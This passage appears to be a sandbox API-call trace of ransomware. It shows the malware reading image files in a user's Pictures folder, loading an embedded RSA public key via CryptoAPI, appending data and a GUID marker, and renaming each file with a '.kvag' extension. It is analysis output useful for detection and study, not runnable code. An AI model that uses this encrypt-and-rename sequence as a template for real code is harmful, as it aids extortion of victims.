RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.154] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfc9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.154] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.155] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.155] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.155] CloseHandle (hObject=0x61c) returned 1 [0120.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Yjdn_ho1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yjdn_ho1.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Yjdn_ho1.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yjdn_ho1.jpg.kvag")) returned 1 [0120.157] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2055f4e0, ftCreationTime.dwHighDateTime=0x1d4cfc8, ftLastAccessTime.dwLowDateTime=0xb19c5ce0, ftLastAccessTime.dwHighDateTime=0x1d4c5c9, ftLastWriteTime.dwLowDateTime=0xb19c5ce0, ftLastWriteTime.dwHighDateTime=0x1d4c5c9, nFileSizeHigh=0x0, nFileSizeLow=0x12976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zLSSWoma9-HlG53.gif", cAlternateFileName="ZLSSWO~1.GIF")) returned 1 [0120.157] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zLSSWoma9-HlG53.gif") returned=".gif" [0120.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zLSSWoma9-HlG53.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zlsswoma9-hlg53.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.158] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=76150) returned 1 [0120.158] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.160] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12950, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.160] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.161] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x12976, lpOverlapped=0x0) returned 1 [0120.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.162] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.163] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.163] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.163] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.163] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.163] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.163] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.163] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.163] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.163] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.163] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.164] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.164] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.164] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.164] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.164] CloseHandle (hObject=0x61c) returned 1 [0120.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zLSSWoma9-HlG53.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zlsswoma9-hlg53.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zLSSWoma9-HlG53.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zlsswoma9-hlg53.gif.kvag")) returned 1 [0120.166] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34170c40, ftCreationTime.dwHighDateTime=0x1d4d468, ftLastAccessTime.dwLowDateTime=0x6bf75040, ftLastAccessTime.dwHighDateTime=0x1d4d13c, ftLastWriteTime.dwLowDateTime=0x6bf75040, ftLastWriteTime.dwHighDateTime=0x1d4d13c, nFileSizeHigh=0x0, nFileSizeLow=0x183cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZRwVhWTmgDeFVw4ZRxb.gif", cAlternateFileName="ZRWVHW~1.GIF")) returned 1 [0120.166] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZRwVhWTmgDeFVw4ZRxb.gif") returned=".gif" [0120.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZRwVhWTmgDeFVw4ZRxb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zrwvhwtmgdefvw4zrxb.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.167] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=99279) returned 1 [0120.167] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.169] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x183a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.169] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.170] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.170] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x183cf, lpOverlapped=0x0) returned 1 [0120.171] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.171] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.171] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.171] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.172] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.172] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.172] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.172] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.172] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.172] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.172] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.172] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.172] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.173] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.173] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x183cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.173] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.174] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.174] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.174] CloseHandle (hObject=0x61c) returned 1 [0120.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZRwVhWTmgDeFVw4ZRxb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zrwvhwtmgdefvw4zrxb.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZRwVhWTmgDeFVw4ZRxb.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zrwvhwtmgdefvw4zrxb.gif.kvag")) returned 1 [0120.176] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab8a19b0, ftCreationTime.dwHighDateTime=0x1d4c55a, ftLastAccessTime.dwLowDateTime=0xe97a80a0, ftLastAccessTime.dwHighDateTime=0x1d4d349, ftLastWriteTime.dwLowDateTime=0xe97a80a0, ftLastWriteTime.dwHighDateTime=0x1d4d349, nFileSizeHigh=0x0, nFileSizeLow=0xb162, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_oKd7ir99lD.png", cAlternateFileName="_OKD7I~1.PNG")) returned 1 [0120.176] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_oKd7ir99lD.png") returned=".png" [0120.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_oKd7ir99lD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_okd7ir99ld.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.177] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=45410) returned 1 [0120.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.179] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb13c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.179] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.180] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb162, lpOverlapped=0x0) returned 1 [0120.181] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.181] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.181] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.181] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.182] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.182] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.182] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.182] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.182] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.182] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.182] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.182] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.182] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.182] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.183] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb162, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.183] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.183] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.183] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.183] CloseHandle (hObject=0x61c) returned 1 [0120.184] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_oKd7ir99lD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_okd7ir99ld.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_oKd7ir99lD.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_okd7ir99ld.png.kvag")) returned 1 [0120.185] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 1 [0120.185] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_pUGM.png") returned=".png" [0120.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_pUGM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_pugm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.185] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=87187) returned 1 [0120.185] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.187] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1546d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.188] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.189] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x15493, lpOverlapped=0x0) returned 1 [0120.190] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.190] lstrlenA (lpString="-----BEGIN PUBLIC 